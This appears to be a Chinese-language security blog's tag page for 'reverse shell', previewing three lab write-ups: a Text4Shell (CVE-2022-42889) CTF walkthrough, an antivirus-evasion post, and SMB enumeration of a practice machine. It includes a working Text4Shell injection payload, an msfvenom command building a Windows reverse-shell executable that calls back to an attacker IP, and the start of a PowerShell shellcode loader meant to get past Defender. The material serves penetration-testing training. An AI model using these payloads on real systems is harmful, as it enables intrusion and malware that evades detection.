發表文章

目前顯示的是有「reverse shell」標籤的文章

Challenge 5 - Berlin

圖片
 Challenge 5 -  Berlin └─$ rustscan -a 192.168.193.150 --scripts none --ulimit 5000 | tee rustscan └─$ sudo nmap -sCV -p 22,8080 192.168.193.150 | tee nmap        只有兩個 Port,22 看來是標準 SSH,8080 顯示 http-favicon: Spring Java Framework └─$ sudo nmap -sU -p 161 192.168.193.150 | tee nmap-snmp,snmp 沒開 └─$ whatweb http://192.168.193.150:8080 | tee whatweb └─$ gobuster -w dirfuzzing.txt dir -u http://192.168.193.150:8080 -k -t 150 -x txt,pdf,git,php | tee gobuster-8080 有個 /search 看來比較有用 用瀏覽器打開後網頁顯示 query & result,馬上帶入 query string "query=ooxx" 試試看 http://192.168.193.150:8080/search?query=whoami 發現帶入有顯示但沒顯示輸出 測試了一番後發現這個是透過 Java 的方式執行的命令所以語法前面要使用 ${script:javascript:java.lang.Runtime.getRuntime().exec('要執行的命令')} 可以參考這一篇  https://github.com/cxzero/CVE-2022-42889-text4shell  不同的 JDK 版本使用的標準語法不同,靶機環境是一個 JDK < 15 的環境 JDK < 15 : ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')} JDK 15+ ${script:JEXL:''.getClass().forName('java.la...

防毒軟體規避

圖片
 防毒軟體規避 列出一個檔案的 SHA 256 HASH 指令 └─$ sha256sum post.txt    列出一個檔案的二進制與 ASCII 格式使用 xxd 指令 └─$ xxd -b post.txt                           透過 msfvenom 包一個 reverse shell 的 exe payload,檔名為 binary.exe └─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.228 LPORT=4444 -f exe > binary.exe 將檔案 COPY 到裝有 Defender 的 Windows 系統會馬上跳出如下的告警 判定為 Trojan 木馬後門程式並直接隔離無法使用 上傳到 VirusTotal 也是偵測出為木馬後門程式 接著來手動作一個 PowerShell PS 腳本如下 =================================================================== $code = ' [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr dest, uint sr...

公開的漏洞(Public Exploits) - 練習

圖片
 公開的漏洞(Public Exploits) - 練習 練習 1 (12.4.1.1) 靶機 IP : 192.168.225.10 先 rustscan └─$ rustscan -a 192.168.223.10 --scripts none --ulimit 500 135、139、445、1978、跟一堆 RPC High Port 看來是台 Windows,445 SMB 看來較有機會 用 nmap 帶 script 掃一下 OS 看看 └─$ sudo nmap -v -p 139,445 --script  smb-os-discovery 192.168.225.10 是台 Windows 10 獨立機器無 Domain,主機名稱是 remotemouse 接著看看 445 有沒有 Share 甚麼資料夾 └─$ sudo nmap -sV -sC -p 139,445 192.168.225.10 --script smb-enum-shares.nse script 預設帶的帳號是 guest,發現有一個分享名稱 offsec 擁有讀寫的權限 登入看看有甚麼東西 └─$ smbclient '\\192.168.225.10\offsec' -U guest,詢問密碼時直接 Enter 即可 好多檔案阿,那就逛一逛吧 使用 curl 指令丟個 body.txt 檔案上去試試看 └─$ curl --upload-file /home/kali_r/body.txt  -u 'workgroup\guest' smb://192.168.225.10/offsec/ 不用 curl 在 smb 底下也可以直接使用 put 指令上傳檔案,刪除檔案使用 rm 重新 dir 一下,看到該路徑確實可以寫入檔案 逛了一下整個 offsec 的目錄與相關檔案,僅有 Downloads 路徑下有幾個檔案 主要是三個 *.exe 檔案跟最後一個圖檔(下載回來看過了沒啥鳥用) 第一個檔案 7z2200-x64.exe,是 7-ZIP 22 版安裝程式,依據資安人口理論 Google 搜尋 7z2200-x64.exe exploit 看來沒啥鳥用 第二個檔案 ccsetup601.exe,是 CCLear 6.01.xx 版安裝程式...